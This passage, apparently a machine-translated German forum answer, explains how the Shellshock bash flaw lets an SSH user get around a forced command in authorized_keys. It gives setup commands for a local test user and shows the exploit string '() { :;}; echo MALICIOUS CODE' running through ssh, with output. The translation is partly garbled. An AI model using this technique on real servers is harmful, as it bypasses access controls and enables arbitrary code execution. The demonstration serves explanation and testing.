Ein Beispiel, bei dem dies ausgenutzt werden kann, sind Server mit einem authorized_keyserzwungenen Befehl. Wenn Sie einen Eintrag hinzufügen ~/.ssh/authorized_keys, können Sie der Zeile das Präfix " command="foo"to force" voranstellen, das ausgeführt werden soll, sobald der fooöffentliche Schlüssel "ssh" verwendet wird. Wenn für diesen Exploit die Shell des Zielbenutzers festgelegt ist bash, können sie den Exploit nutzen, um andere Dinge als den Befehl auszuführen, zu dem sie gezwungen werden.
Dies wäre im Beispiel wahrscheinlich sinnvoller. Hier also ein Beispiel:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Hier richten wir einen Benutzer ein testuser, der alle SSH-Verbindungen erzwingt, die mit Ihrem SSH-Schlüssel ausgeführt werden echo starting sleep; sleep 1.
Wir können dies testen mit:
$ ssh testuser@localhost echo something else
starting sleep
Beachten Sie, dass unser echo something elsenicht ausgeführt wird, aber das starting sleepzeigt, dass der erzwungene Befehl ausgeführt wurde.
Lassen Sie uns nun zeigen, wie dieser Exploit verwendet werden kann:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Dies funktioniert, weil sshddie SSH_ORIGINAL_COMMANDUmgebungsvariable auf den übergebenen Befehl gesetzt wird. Also auch wenn sshdlief sleep, und nicht den Befehl , den ich sagte ihm, weil der Exploit, mein Code noch ausgeführt wird.